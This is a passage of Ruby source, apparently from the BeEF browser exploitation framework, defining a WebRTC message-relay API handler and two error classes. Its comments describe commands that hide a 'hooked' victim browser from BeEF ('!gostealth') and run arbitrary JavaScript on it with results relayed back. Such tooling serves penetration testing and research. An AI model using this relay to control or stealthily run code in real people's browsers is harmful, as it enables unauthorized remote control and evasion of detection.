# !gostealth - will put the <to> browser into a stealth mode
|
||||
# !endstealth - will put the <to> browser into normal mode, and it will start talking to BeEF again
|
||||
# %<javascript> - will execute JavaScript on <to> sending the results back to <from> - who will relay back to BeEF
|
||||
# <text> - will simply send a datachannel message from <from> to <to>.
|
||||
# If the <to> is stealthed, it'll bounce the message back.
|
||||
# If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler
|
||||
post '/msg' do
|
||||
begin
|
||||
|
||||
body = JSON.parse(request.body.read)
|
||||
|
||||
fromhb = body['from']
|
||||
tohb = body['to']
|
||||
message = body['message']
|
||||
|
||||
result = {}
|
||||
|
||||
unless [fromhb,tohb,message].include?(nil)
|
||||
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
|
||||
result['success'] = true
|
||||
else
|
||||
result['success'] = false
|
||||
end
|
||||
|
||||
result.to_json
|
||||
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while queuing message for #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/webrtc handler.
|
||||
class InvalidJsonError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/webrtc handler.
|
||||
class InvalidParamError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
str = "Invalid \"%s\" parameter passed to /api/webrtc handler"
|
||||
message = sprintf str, message unless message.nil?
|
||||
super(message)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user